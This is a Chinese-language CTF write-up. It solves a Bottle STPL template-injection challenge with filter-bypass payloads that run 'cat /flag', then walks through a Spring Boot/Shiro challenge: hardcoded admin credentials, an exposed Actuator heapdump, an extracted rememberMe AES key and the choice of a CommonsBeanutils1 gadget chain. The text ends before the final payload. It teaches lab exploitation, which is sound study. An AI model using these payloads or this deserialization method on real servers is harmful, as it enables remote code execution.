所以 CTF 里可以这样理解:txt Jinja2 SSTI: 一般要想办法从模板对象一路找 __globals__、__builtins__、os 等对象。 STPL 注入: 如果模板内容真的可控,很多时候更直接,因为它本身就接近执行 Python 表达式 / Python 代码。
例如 Jinja2 里常见的是:python {{url_for.__globals__['os'].popen('id').read()}}
而 STPL 里可能直接尝试:python {{__import__('os').popen('id').read()}}
或者:python % import os {{os.popen('id').read()}}
回到题目页面,还是先走个流程:
- 先输入
test试试水,然后页面上回显了test。 - 再输入
<h1>test</h1>测试一下有没有可能是 XSS,然后页面返回尖括号h1尖括号test尖括号/h1尖括号。说明浏览器没有把它当成 HTML 标签执行,后端大概率做了 HTML 转义。 - 再输入
{{7*7}}测试一下 SSTI,但返回我猜你想输入7*7,这大概率是触发 Waf 了,这里是有说法的。
测试一下发现输入 7*7 会返回 我猜你想输入7*7,输入 { 或者 } 会被删掉,且 < 和 > 会被转义。
这里可以用:
% 单行 Python 代码
实现 Python 代码执行,再用 _printlist() 回显代码执行结果即可。
比如:
{{__import__('os').popen('cat /flag').read()}}
和:
<%
_printlist([__import__('os').popen('cat /flag').read()])
%>
失效了,但可以换成输入:
% _printlist([__import__('os').popen('cat /flag').read()])
但实际情况是输入:
% _printlist([__import__('os').popen('cat /flag').read()])
后结果却原样显示。

实际上这个 % 没有被 STPL 当成代码行解析,这里可以查看源码,找到:
<p class="text">% _printlist([__import__('os').popen('cat /flag').read()])</p>
说明评论内容是被拼到 HTML 里面了,这时候 % 前面有:
<div class="content">
所以 % 不是模板源码行首,STPL 就把它当普通文本显示了。
只需 在前面和后面同时加点东西 就行了,比如输入:
111
% _printlist([__import__('os').popen('cat /flag').read()])
222
切记 前面和后面都要换行 ,避免语法错误。
顺便看了一下别人的 wp,是用 abort 回显:
111
% import bottle
% a = __import__('os').popen('cat /flag').read()
% bottle.abort(404, a)
% end
222
abort()
是 Bottle 提供的函数,用来主动终止当前请求并返回指定状态码和内容,比如
abort(404, a)就是让页面以 404 错误页的形式回显变量a。
逻辑是:
执行命令 ↓ 结果存在变量 a 里 ↓ 用 abort(404, a) 抛出错误 ↓ Bottle 错误页把 a 显示出来
SpringShiro
第一次见这么多附件,用 tree 命令看看树状图:
tree SpringShiro
返回:
SpringShiro
├── docker-compose.yml
├── Dockerfile
├── readflag.go
└── src
├── BOOT-INF
│ ├── classes
│ │ ├── application.properties
│ │ ├── com
│ │ │ └── example
│ │ │ └── springshiro
│ │ │ ├── config
│ │ │ │ ├── MyRealm.class
│ │ │ │ └── ShiroConfig.class
│ │ │ ├── controller
│ │ │ │ └── IndexController.class
│ │ │ └── SpringShiroApplication.class
│ │ └── templates
│ │ ├── index.html
│ │ └── login.html
│ ├── classpath.idx
│ ├── layers.idx
│ └── lib
│ ├── attoparser-2.0.5.RELEASE.jar
│ ├── commons-beanutils-1.9.4.jar
│ ├── commons-collections-3.2.2.jar
│ ├── encoder-1.2.3.jar
│ ├── HdrHistogram-2.1.12.jar
│ ├── jackson-annotations-2.13.4.jar
│ ├── jackson-core-2.13.4.jar
│ ├── jackson-databind-2.13.4.2.jar
│ ├── jackson-datatype-jdk8-2.13.4.jar
│ ├── jackson-datatype-jsr310-2.13.4.jar
│ ├── jackson-module-parameter-names-2.13.4.jar
│ ├── jakarta.annotation-api-1.3.5.jar
│ ├── jul-to-slf4j-1.7.36.jar
│ ├── LatencyUtils-2.0.3.jar
│ ├── log4j-api-2.17.2.jar
│ ├── log4j-to-slf4j-2.17.2.jar
│ ├── logback-classic-1.2.11.jar
│ ├── logback-core-1.2.11.jar
│ ├── micrometer-core-1.9.7.jar
│ ├── shiro-cache-1.13.0.jar
│ ├── shiro-config-core-1.13.0.jar
│ ├── shiro-config-ogdl-1.13.0.jar
│ ├── shiro-core-1.13.0.jar
│ ├── shiro-crypto-cipher-1.13.0.jar
│ ├── shiro-crypto-core-1.13.0.jar
│ ├── shiro-crypto-hash-1.13.0.jar
│ ├── shiro-event-1.13.0.jar
│ ├── shiro-lang-1.13.0.jar
│ ├── shiro-spring-1.13.0.jar
│ ├── shiro-spring-boot-starter-1.13.0.jar
│ ├── shiro-spring-boot-web-starter-1.13.0.jar
│ ├── shiro-web-1.13.0.jar
│ ├── slf4j-api-1.7.36.jar
│ ├── snakeyaml-1.30.jar
│ ├── spring-aop-5.3.25.jar
│ ├── spring-beans-5.3.25.jar
│ ├── spring-boot-2.7.8.jar
│ ├── spring-boot-actuator-2.7.8.jar
│ ├── spring-boot-actuator-autoconfigure-2.7.8.jar
│ ├── spring-boot-autoconfigure-2.7.8.jar
│ ├── spring-boot-jarmode-layertools-2.7.8.jar
│ ├── spring-context-5.3.25.jar
│ ├── spring-core-5.3.25.jar
│ ├── spring-expression-5.3.25.jar
│ ├── spring-jcl-5.3.25.jar
│ ├── spring-web-5.3.25.jar
│ ├── spring-webmvc-5.3.25.jar
│ ├── thymeleaf-3.0.15.RELEASE.jar
│ ├── thymeleaf-extras-java8time-3.0.4.RELEASE.jar
│ ├── thymeleaf-spring5-3.0.15.RELEASE.jar
│ ├── tomcat-embed-core-9.0.71.jar
│ ├── tomcat-embed-el-9.0.71.jar
│ ├── tomcat-embed-websocket-9.0.71.jar
│ └── unbescape-1.1.6.RELEASE.jar
├── META-INF
│ ├── MANIFEST.MF
│ └── maven
│ └── com.example
│ └── SpringShiro
│ ├── pom.properties
│ └── pom.xml
├── org
│ └── springframework
│ └── boot
│ └── loader
│ ├── archive
│ │ ├── Archive$Entry.class
│ │ ├── Archive$EntryFilter.class
│ │ ├── Archive.class
│ │ ├── ExplodedArchive$AbstractIterator.class
│ │ ├── ExplodedArchive$ArchiveIterator.class
│ │ ├── ExplodedArchive$EntryIterator.class
│ │ ├── ExplodedArchive$FileEntry.class
│ │ ├── ExplodedArchive$SimpleJarFileArchive.class
│ │ ├── ExplodedArchive.class
│ │ ├── JarFileArchive$AbstractIterator.class
│ │ ├── JarFileArchive$EntryIterator.class
│ │ ├── JarFileArchive$JarFileEntry.class
│ │ ├── JarFileArchive$NestedArchiveIterator.class
│ │ └── JarFileArchive.class
│ ├── ClassPathIndexFile.class
│ ├── data
│ │ ├── RandomAccessData.class
│ │ ├── RandomAccessDataFile$1.class
│ │ ├── RandomAccessDataFile$DataInputStream.class
│ │ ├── RandomAccessDataFile$FileAccess.class
│ │ └── RandomAccessDataFile.class
│ ├── ExecutableArchiveLauncher.class
│ ├── jar
│ │ ├── AbstractJarFile$JarFileType.class
│ │ ├── AbstractJarFile.class
│ │ ├── AsciiBytes.class
│ │ ├── Bytes.class
│ │ ├── CentralDirectoryEndRecord$1.class
│ │ ├── CentralDirectoryEndRecord$Zip64End.class
│ │ ├── CentralDirectoryEndRecord$Zip64Locator.class
│ │ ├── CentralDirectoryEndRecord.class
│ │ ├── CentralDirectoryFileHeader.class
│ │ ├── CentralDirectoryParser.class
│ │ ├── CentralDirectoryVisitor.class
│ │ ├── FileHeader.class
│ │ ├── Handler.class
│ │ ├── JarEntryCertification.class
│ │ ├── JarEntry.class
│ │ ├── JarEntryFilter.class
│ │ ├── JarFile$1.class
│ │ ├── JarFile$JarEntryEnumeration.class
│ │ ├── JarFile.class
│ │ ├── JarFileEntries$1.class
│ │ ├── JarFileEntries$EntryIterator.class
│ │ ├── JarFileEntries$Offsets.class
│ │ ├── JarFileEntries$Zip64Offsets.class
│ │ ├── JarFileEntries$ZipOffsets.class
│ │ ├── JarFileEntries.class
│ │ ├── JarFileWrapper.class
│ │ ├── JarURLConnection$1.class
│ │ ├── JarURLConnection$JarEntryName.class
│ │ ├── JarURLConnection.class
│ │ ├── StringSequence.class
│ │ └── ZipInflaterInputStream.class
│ ├── JarLauncher.class
│ ├── jarmode
│ │ ├── JarMode.class
│ │ ├── JarModeLauncher.class
│ │ └── TestJarMode.class
│ ├── LaunchedURLClassLoader$DefinePackageCallType.class
│ ├── LaunchedURLClassLoader$UseFastConnectionExceptionsEnumeration.class
│ ├── LaunchedURLClassLoader.class
│ ├── Launcher.class
│ ├── MainMethodRunner.class
│ ├── PropertiesLauncher$1.class
│ ├── PropertiesLauncher$ArchiveEntryFilter.class
│ ├── PropertiesLauncher$ClassPathArchives.class
│ ├── PropertiesLauncher$PrefixMatchingArchiveFilter.class
│ ├── PropertiesLauncher.class
│ ├── util
│ │ └── SystemPropertyUtils.class
│ └── WarLauncher.class
└── SpringShiro.jar
24 directories, 138 files
这是一个 Spring Boot 打包后的项目,但附件太多了,而且都是 .class、.jar 这种 Java Web 项目的文件,不像 PHP / Python 题那样直接给源码。
现在要做的是先把 Spring Boot 项目结构看懂,但这里附件太多了,不能直接一上来审计所有文件,应该先逐层看目录结构,判断哪些才是重点。
- 先只看
SpringShiro目录的第一层bash tree SpringShiro -L 1
可以看到:txt SpringShiro ├── docker-compose.yml ├── Dockerfile ├── readflag.go └── src 2 directories, 3 files
docker-compose.yml和Dockerfile是容器部署文件,用来看题目怎么启动、开放什么端口、环境变量怎么设置。readflag.go可能和最终读 flag 有关,说明后面 RCE 时不一定是直接cat /flag。src是项目主体,可以继续往下看。 - 接着看
SpringShiro/src目录bash tree SpringShiro/src -L 1
可以看到大致结构:txt SpringShiro/src ├── BOOT-INF ├── META-INF ├── org └── SpringShiro.jar 4 directories, 1 file
BOOT-INF是最重要的,里面有作者代码、配置文件和依赖。META-INF是 jar 包元信息,不是重点。org/springframework/boot是 Spring Boot 自己的启动器代码,一般不是题目作者写的,先不看。SpringShiro.jar是原始 jar 包,后面需要用 jadx 反编译。 - 继续看
SpringShiro/src/BOOT-INF目录bash tree SpringShiro/src/BOOT-INF -L 1
可以看到:txt SpringShiro/src/BOOT-INF ├── classes ├── classpath.idx ├── layers.idx └── lib 3 directories, 2 files
classes是最重要的,里面存放的是题目作者自己写的代码、配置文件和前端模板。lib是项目依赖库,里面一般是各种.jar包,比如 Spring、Shiro、Tomcat、Thymeleaf 等,不用一个个打开,但后面要看有没有 Shiro 和反序列化常见依赖。classpath.idx是 Spring Boot 打包时生成的 classpath 索引文件。layers.idx是 Spring Boot 分层打包相关文件。
所以这里的审计优先级是:txt classes > lib > classpath.idx / layers.idx
classpath.idx和layers.idx暂时不用看,继续往classes里面走。 - 继续看
SpringShiro/src/BOOT-INF/classes目录bash tree SpringShiro/src/BOOT-INF/classes -L 3
可以看到:txt SpringShiro/src/BOOT-INF/classes ├── application.properties ├── com │ └── example │ └── springshiro └── templates ├── index.html └── login.html 5 directories, 3 filesapplication.properties是 Spring Boot 的配置文件,里面可能会有端口、框架配置、环境配置等信息。com/example/springshiro是 Java 业务代码目录,也就是题目作者自己写的主要后端代码。templates是前端模板目录,里面有index.html和login.html,可以辅助判断有哪些页面、登录表单参数是什么。
所以这里的重点是:txt com > application.properties > templates
- 继续看
SpringShiro/src/BOOT-INF/classes/com/example/springshiro作者代码目录bash tree SpringShiro/src/BOOT-INF/classes/com/example/springshiro -L 2
可以看到:txt SpringShiro/src/BOOT-INF/classes/com/example/springshiro ├── config │ ├── MyRealm.class │ └── ShiroConfig.class ├── controller │ └── IndexController.class └── SpringShiroApplication.class 3 directories, 4 files
这里是需要审计源码的地方。config是配置目录,其中:ShiroConfig.class是重点,因为它的文件名就是 ShiroConfig,通常用来存放 Shiro 相关配置。MyRealm.class是 Shiro 的认证逻辑,一般用来看用户名密码怎么校验、登录成功后给什么身份。
controller是控制器目录,其中:IndexController.class一般是路由控制器,作用类似 Flask 里的@app.route(),用来看/、/login等路径分别执行什么逻辑。
SpringShiroApplication.class是 Spring Boot 启动类,一般只负责启动项目,不是主要漏洞点。
所以这里可以先得出审计重点:txt IndexController.class 看路由和页面逻辑 ShiroConfig.class 看 Shiro 配置、rememberMe、cipherKey MyRealm.class 看登录认证逻辑
- 用 jadx 反编译
SpringShiro/src/SpringShiro.jar
这里有一个问题:题目没有直接给.java源码,而是给了编译后的.class文件。.java是 Java 源码,.class是 Java 源码编译后的字节码文件,不能像 PHP / Python 那样直接阅读,所以需要先用 jadx 反编译:bash jadx -d /home/kali/Hello_CTF/111 /home/kali/Hello_CTF/SpringShiro/src/SpringShiro.jar
反编译后再看:bash tree 111/sources/com/example/springshiro -L 2
返回:txt 111/sources/com/example/springshiro ├── config │ ├── MyRealm.java │ └── ShiroConfig.java ├── controller │ └── IndexController.java └── SpringShiroApplication.java 3 directories, 4 files
- 总结
最后定位到这三个真正要看的源码文件:txt 111/sources/com/example/springshiro/controller/IndexController.java 111/sources/com/example/springshiro/config/ShiroConfig.java 111/sources/com/example/springshiro/config/MyRealm.java
后续正式代码审计时- 先看路由:
txt IndexController.java
因为它是路由控制器,可以先知道网站有哪些入口。 - 再看:
txt ShiroConfig.java MyRealm.java
因为题目使用了 Shiro,这两个文件分别对应 Shiro 配置和登录认证逻辑。ShiroConfig.java重点看:txt 是否启用 rememberMe 过滤规则怎么写 登录认证由哪个 Realm 处理
MyRealm.java重点看:txt 用户名密码怎么校验 有没有硬编码账号密码 登录成功后返回什么身份信息
- 然后看:
txt SpringShiro/src/BOOT-INF/classes/application.properties
因为 Spring Boot 的很多配置不一定写在 Java 代码里,而是写在配置文件里,比如端口、Shiro 登录跳转路径、Actuator 是否开放等。 - 接着看:
txt SpringShiro/src/BOOT-INF/lib
用来判断当前环境里有哪些依赖,从而判断能不能使用某条 Java 反序列化 gadget 链。 - 最后看:
txt SpringShiro/Dockerfile SpringShiro/readflag.go
用来确认容器环境和最终读 flag 的方式。因为附件里单独给了readflag.go,所以后面 RCE 时不一定是直接cat /flag,需要结合这两个文件判断最终命令。
- 先看路由:
IndexController.java:
package com.example.springshiro.controller;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class IndexController {
@RequestMapping({"/"})
public String index() {
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
@RequestMapping({"/login"})
public String login() {
return "login";
}
}
ShiroConfig.java:
package com.example.springshiro.config;
import org.apache.shiro.mgt.RememberMeManager;
import org.apache.shiro.realm.Realm;
import org.apache.shiro.spring.web.config.DefaultShiroFilterChainDefinition;
import org.apache.shiro.spring.web.config.ShiroFilterChainDefinition;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class ShiroConfig {
@Bean
public Realm realm() {
return new MyRealm();
}
@Bean
public RememberMeManager rememberMeManager() {
return new CookieRememberMeManager();
}
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/**", "authc");
return chainDefinition;
}
}
MyRealm.java:
package com.example.springshiro.config;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
public class MyRealm extends AuthorizingRealm {
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken;
String username = token.getUsername();
String password = new String(token.getPassword());
if (username.equals("admin") && password.equals("123456")) {
return new SimpleAuthenticationInfo(username, password, getName());
}
throw new IncorrectCredentialsException("username or password is incorrect");
}
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
return null;
}
}
先补充一点前置知识:
- Spring / Spring Boot
Spring 是 Java 里非常常见的 Web 框架。Spring Boot 可以理解成 Spring 的简化版,用来快速启动一个 Java Web 项目。
这类题给到的附件经常不是.java源码,而是打包后的.jar、.class文件,所以不能像 PHP / Python 那样直接读源码。
Spring Boot 打包后的项目里,常见重点目录是:txt BOOT-INF/classes BOOT-INF/lib
其中:txt BOOT-INF/classes
一般存放题目作者自己写的代码、配置文件和模板。txt BOOT-INF/lib
一般存放项目依赖,比如 Spring、Shiro、Tomcat、commons-beanutils、commons-collections 等 jar 包。 - application.properties
Spring Boot 项目里经常有一个配置文件:txt application.properties
它不是 Java 代码,但很多项目配置不会写在 Controller 里,而是写在这个文件里,比如:txt 服务端口 登录跳转路径 Shiro 配置 Actuator 是否开放 环境配置
所以审计 Spring Boot 题目时,不能只看.java文件,也要看application.properties。 - Spring Boot Actuator
Spring Boot Actuator 可以理解成 Spring Boot 自带的“管理接口”。
它可以暴露一些项目运行信息,比如:txt 健康状态 环境变量 配置项 路由信息 运行信息
常见端点可能有:text /actuator/health /actuator/env /actuator/mappings /actuator/heapdump
其中:/actuator表示 Actuator 的目录页,一般会返回当前项目实际开放了哪些管理接口。/actuator/env常用来看环境变量和配置项。/actuator/heapdump用来导出 Java 程序运行时的堆内存,也就是 JVM 里当前保存的一些对象和数据。
如果配置文件里出现:properties management.endpoints.web.exposure.include=*
说明 Actuator 的 Web 管理接口被开放。遇到这种配置时,先访问/actuator,看它返回了哪些端点,再根据返回结果继续访问。 - Java 里的路由
Spring 里一般用注解写路由,比如:java @Controller public class IndexController { @RequestMapping("/") public String index() { return "index"; } }
其中:java @Controller
表示这是一个处理网页请求的类。java @RequestMapping("/")
表示访问/这个路径时,会执行下面的index()方法。
所以在 Java 里找路由,一般重点找这些关键词:bash @RequestMapping @GetMapping @PostMapping
- Shiro
Apache Shiro 是 Java 里的一个安全框架,主要负责:txt 登录认证 权限判断 会话管理 rememberMe 记住我
即 Shiro 是 Java Web 里专门管登录和权限的一套组件。
在 Shiro 里,常见几个关键词是:text Realm authc rememberMe CookieRememberMeManager
Realm可以理解成登录认证逻辑,通常用来判断用户名和密码对不对。authc表示需要登录后才能访问。rememberMe是“记住我”功能。CookieRememberMeManager是 Shiro 用来处理 rememberMe cookie 的组件。 - Shiro rememberMe 反序列化
Shiro 的 rememberMe 功能大致流程是:txt 用户登录并勾选 rememberMe ↓ Shiro 把用户身份信息序列化 ↓ AES 加密 ↓ Base64 编码 ↓ 放进 rememberMe cookie
也就是:http rememberMe = Base64(AES(序列化数据))
之后用户再次访问网站时:txt 读取 rememberMe cookie ↓ Base64 解码 ↓ AES 解密 ↓ Java 反序列化 ↓ 恢复用户身份
危险点就在最后一步的 Java 反序列化。
如果攻击者知道 rememberMe 的 AES 密钥,并且项目里有可用的 gadget 链,就可以伪造恶意 rememberMe cookie,触发反序列化命令执行。
所以 Shiro rememberMe 反序列化需要关注三个条件:text 1. 是否启用了 rememberMe 2. rememberMe AES 密钥能不能拿到 3. 项目依赖里有没有可用 gadget 链
- gadget 链
gadget 链可以类比 PHP 反序列化里的 POP 链。
PHP POP 链是:php __destruct() ↓ __toString() ↓ __call() ↓ eval/system
Java gadget 链也是类似的思想:txt 反序列化某个对象 ↓ 自动触发某些方法 ↓ 这些方法继续调用别的类 ↓ 最后走到 Runtime.exec / TemplatesImpl / 命令执行点
只不过 Java 里不叫 POP 链,通常叫 gadget chain。
CTF 里常见工具是ysoserial,它可以直接生成一些常见 Java 反序列化利用链 payload。
但是 ysoserial 不是随便选链子用,具体能不能用,要看项目依赖里有没有对应的 jar 包。比如依赖里出现:txt commons-beanutils commons-collections
就可以考虑尝试 CommonsBeanutils / CommonsCollections 相关链。 - Shiro 反序列化漏洞
Shiro rememberMe 反序列化漏洞的本质是:txt rememberMe cookie 可控 ↓ Shiro 会自动解密并反序列化 rememberMe ↓ 如果 AES 密钥可知 ↓ 攻击者就能伪造一个恶意 rememberMe cookie ↓ 服务端反序列化时触发 gadget 链 ↓ RCE
所以这类题的核心条件一般是:txt 1. 项目使用了 Shiro 2. 开启了 rememberMe 3. Shiro rememberMe 加密密钥可知、默认、弱密钥,或者在源码里泄露 4. 项目依赖里存在可用 gadget 链
回到题目,进行一般的审计流程:
- 分析附件目录结构
经过前面的目录分析和 jadx 反编译,先把需要关注的文件分成几类。
首先是作者写的 Java 代码:txt 111/sources/com/example/springshiro/controller/IndexController.java 111/sources/com/example/springshiro/config/ShiroConfig.java 111/sources/com/example/springshiro/config/MyRealm.java
这三个文件分别用来看:txt IndexController.java 路由和页面入口 ShiroConfig.java Shiro 配置、rememberMe、过滤规则 MyRealm.java 登录认证逻辑、账号密码校验
然后是 Spring Boot 配置文件:txt SpringShiro/src/BOOT-INF/classes/application.properties
这个文件不是 Java 代码,但也很重要。Spring Boot 里很多配置不一定写在源码里,而是写在application.properties里,比如服务端口、Shiro 登录跳转路径、Actuator 是否开放等。
接着是项目依赖目录:txt SpringShiro/src/BOOT-INF/lib
这个目录用来判断当前环境里有哪些依赖,从而判断后面能不能使用某条 Java 反序列化 gadget 链。
最后是容器和读 flag 相关文件:txt SpringShiro/Dockerfile SpringShiro/readflag.go
Dockerfile用来看容器怎么启动、flag 放在哪里、文件权限怎么设置。readflag.go可能和最终读取 flag 有关。
所以后面即使拿到了 RCE,也可能要结合Dockerfile和readflag.go判断最终应该怎么读 flag。
所以这题的审计顺序可以先定为:text IndexController.java ↓ ShiroConfig.java ↓ MyRealm.java ↓ application.properties ↓ BOOT-INF/lib ↓ Dockerfile / readflag.go
也就是:txt 先看路由和入口 再看 Shiro 配置和登录逻辑 接着看 Spring Boot 配置 然后看依赖能不能支撑反序列化利用 最后看容器环境和最终读 flag 方式
- 看路由和入口
看到路由文件IndexController.java:java @Controller public class IndexController { @RequestMapping({"/"}) public String index() { return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE; } @RequestMapping({"/login"}) public String login() { return "login"; } }
这里只能说明有/和/login两个页面入口,没有参数处理,也没有危险函数,所以 IndexController.java 只是普通路由文件,本身没有漏洞。 - 看 Shiro 配置
继续看ShiroConfig.java:java @Configuration public class ShiroConfig { @Bean public Realm realm() { return new MyRealm(); } @Bean public RememberMeManager rememberMeManager() { return new CookieRememberMeManager(); } @Bean public ShiroFilterChainDefinition shiroFilterChainDefinition() { DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition(); chainDefinition.addPathDefinition("/**", "authc"); return chainDefinition; } }- 先看:
java @Bean public Realm realm() { return new MyRealm(); }Realm可以理解成 Shiro 里的认证逻辑处理器。这里返回的是new MyRealm(),说明具体的用户名密码校验逻辑在MyRealm.java里。 - 再看:
java @Bean public RememberMeManager rememberMeManager() { return new CookieRememberMeManager(); }
这里创建了CookieRememberMeManager,说明本题确实启用了 Shiro 的 rememberMe 相关逻辑。
也就是说,后续如果浏览器带上rememberMe的cookie,Shiro 就会尝试读取这个 cookie,并进行:txt Base64 解码 ↓ AES 解密 ↓ Java 反序列化
所以这里可以作为 Shiro 反序列化的入口继续分析,但能否真正 RCE,还需要继续确认两个条件:- rememberMe 的 AES 密钥能不能拿到。
- 项目依赖里有没有可用的 gadget 链。
- 继续看过滤规则:
java chainDefinition.addPathDefinition("/**", "authc");/**表示所有路径,authc表示必须登录后才能访问。所以这段配置的意思是访问后续所有路径都需要登录。
- 先看:
- 看登录认证逻辑
继续看MyRealm.java:java public class MyRealm extends AuthorizingRealm { @Override protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException { UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken; String username = token.getUsername(); String password = new String(token.getPassword()); if (username.equals("admin") && password.equals("123456")) { return new SimpleAuthenticationInfo(username, password, getName()); } throw new IncorrectCredentialsException("username or password is incorrect"); } @Override protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) { return null; } }
这里逻辑是先把登录请求里的账号密码取出来:java String username = token.getUsername(); String password = new String(token.getPassword());
然后判断:java if (username.equals("admin") && password.equals("123456"))
所以账号密码就是admin/123456,且只要输入正确账号密码,就能通过 Shiro 登录认证。 - 查看配置文件
接着看 Spring Boot 的配置文件application.properties:properties spring.application.name=SpringShiro server.port=8000 shiro.loginUrl=/login shiro.successUrl=/index management.endpoints.web.exposure.include=*
看 Shiro 相关配置:properties shiro.loginUrl=/login shiro.successUrl=/index
shiro.loginUrl=/login表示用户没有登录时,会跳转到/login。这和前面IndexController.java里的/login路由对应。shiro.successUrl=/index表示登录成功后,默认跳转到/index。
重点看:properties management.endpoints.web.exposure.include=*
这说明项目开放了 Spring Boot Actuator 的 Web 管理接口。 - 查看靶机的 Actuator 接口
前面配置文件里有:properties management.endpoints.web.exposure.include=*
说明 Actuator 管理接口被开放。
由于ShiroConfig.java里配置了:java chainDefinition.addPathDefinition("/**", "authc");
所以所有路径都需要登录后访问。
先使用前面在MyRealm.java里找到的账号密码登录:txt admin / 123456
登录后访问/actuator,返回结果里可以看到多个开放的端点,其中关键的是:txt /actuator/env /actuator/heapdump
访问/actuator/env会直接拿到 flag,这算一个非预期。
访问/actuator/heapdump会下载heapdump的附件,heapdump是 Java 程序运行时的堆内存文件,里面可能包含程序运行时保存的对象和数据。
前面在ShiroConfig.java里只看到:java return new CookieRememberMeManager();
但是没有看到手动设置cipherKey。
而 Shiro rememberMe 反序列化必须知道 AES 密钥,所以接下来尝试下载 heapdump,从运行时内存里找 rememberMe 的 AES key。 - 使用 JDumpSpider 提取 ShiroKey
先访问/actuator/heapdump下载heapdump文件。
JDumpSpider 是一个heapdump敏感信息提取工具,可以自动从堆内存里提取一些常见敏感信息,包括 Shiro 的CookieRememberMeManagerkey。
下载:bash wget https://github.com/whwlsfb/JDumpSpider/releases/download/V1.1/JDumpSpider-1.1-SNAPSHOT-full.jar
执行:bash java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
返回结果中找ShiroKey,看到:txt =========================================== CookieRememberMeManager(ShiroKey) ------------- algMode = GCM, key = lewXTrPKeO1lIkIMeg4GvA==, algName = AES
成功提取到了 Shiro rememberMe 的 AES key:txt lewXTrPKeO1lIkIMeg4GvA==
这里的key就是后面伪造 Shiro rememberMe cookie 要用的 AES 密钥。 - 查看依赖和确定 gadget 链
前面已经拿到了 Shiro rememberMe 的 AES key:txt lewXTrPKeO1lIkIMeg4GvA==
但是只有 key 还不够,Shiro rememberMe 反序列化的完整利用还需要一个 gadget 链。而且生成 payload 时不是随便选链子,要看项目里有没有对应依赖。
查看项目依赖:bash tree SpringShiro/src/BOOT-INF/lib
返回:txt SpringShiro/src/BOOT-INF/lib ├── attoparser-2.0.5.RELEASE.jar ├── commons-beanutils-1.9.4.jar ├── commons-collections-3.2.2.jar ├── encoder-1.2.3.jar ├── HdrHistogram-2.1.12.jar ├── jackson-annotations-2.13.4.jar ├── jackson-core-2.13.4.jar ├── jackson-databind-2.13.4.2.jar ├── jackson-datatype-jdk8-2.13.4.jar ├── jackson-datatype-jsr310-2.13.4.jar ├── jackson-module-parameter-names-2.13.4.jar ├── jakarta.annotation-api-1.3.5.jar ├── jul-to-slf4j-1.7.36.jar ├── LatencyUtils-2.0.3.jar ├── log4j-api-2.17.2.jar ├── log4j-to-slf4j-2.17.2.jar ├── logback-classic-1.2.11.jar ├── logback-core-1.2.11.jar ├── micrometer-core-1.9.7.jar ├── shiro-cache-1.13.0.jar ├── shiro-config-core-1.13.0.jar ├── shiro-config-ogdl-1.13.0.jar ├── shiro-core-1.13.0.jar ├── shiro-crypto-cipher-1.13.0.jar ├── shiro-crypto-core-1.13.0.jar ├── shiro-crypto-hash-1.13.0.jar ├── shiro-event-1.13.0.jar ├── shiro-lang-1.13.0.jar ├── shiro-spring-1.13.0.jar ├── shiro-spring-boot-starter-1.13.0.jar ├── shiro-spring-boot-web-starter-1.13.0.jar ├── shiro-web-1.13.0.jar ├── slf4j-api-1.7.36.jar ├── snakeyaml-1.30.jar ├── spring-aop-5.3.25.jar ├── spring-beans-5.3.25.jar ├── spring-boot-2.7.8.jar ├── spring-boot-actuator-2.7.8.jar ├── spring-boot-actuator-autoconfigure-2.7.8.jar ├── spring-boot-autoconfigure-2.7.8.jar ├── spring-boot-jarmode-layertools-2.7.8.jar ├── spring-context-5.3.25.jar ├── spring-core-5.3.25.jar ├── spring-expression-5.3.25.jar ├── spring-jcl-5.3.25.jar ├── spring-web-5.3.25.jar ├── spring-webmvc-5.3.25.jar ├── thymeleaf-3.0.15.RELEASE.jar ├── thymeleaf-extras-java8time-3.0.4.RELEASE.jar ├── thymeleaf-spring5-3.0.15.RELEASE.jar ├── tomcat-embed-core-9.0.71.jar ├── tomcat-embed-el-9.0.71.jar ├── tomcat-embed-websocket-9.0.71.jar └── unbescape-1.1.6.RELEASE.jar 1 directory, 54 files
可以看到:txt commons-beanutils-1.9.4.jar commons-collections-3.2.2.jar
这里说明项目里存在 Java 反序列化常见 gadget 链相关依赖。
其中:txt commons-beanutils-1.9.4.jar
可以使用CommonsBeanutils1链。txt commons-collections-3.2.2.jar
是 Java 反序列化里常见的辅助依赖,很多 gadget 链都会用到。 - 确认 flag 读取逻辑
SpringShiro/Dockerfile:dockerfile FROM golang:1.21 AS builder COPY ./readflag.go /app/readflag.go WORKDIR /app RUN go build readflag.go FROM openjdk:8u212-jdk-slim COPY ./src /app COPY --from=builder /app/readflag /readflag WORKDIR /app RUN echo 0xGame{test} > /flag && \ groupadd -r app && \ useradd -r -g app app && \ chmod 400 /flag && \ chmod 4755 /readflag USER app EXPOSE 8000 CMD java -jar SpringShiro.jar
SpringShiro/readflag.go:go package main import ( "fmt" "os" ) func main() { res, _ := os.ReadFile("/flag") fmt.Print(string(res)) }
首先:dockerfile chmod 400 /flag
表示/flag只有文件所有者可以读取。
而容器后面又切换到了普通用户:dockerfile USER app
也就是说,Spring Boot 程序不是用 root 用户运行的,而是用app用户运行的。
所以即使后面通过 Shiro 反序列化拿到了 RCE,命令也是以app用户身份执行的。此时如果直接执行:bash cat /flag
会因为权限不够读不到 flag。
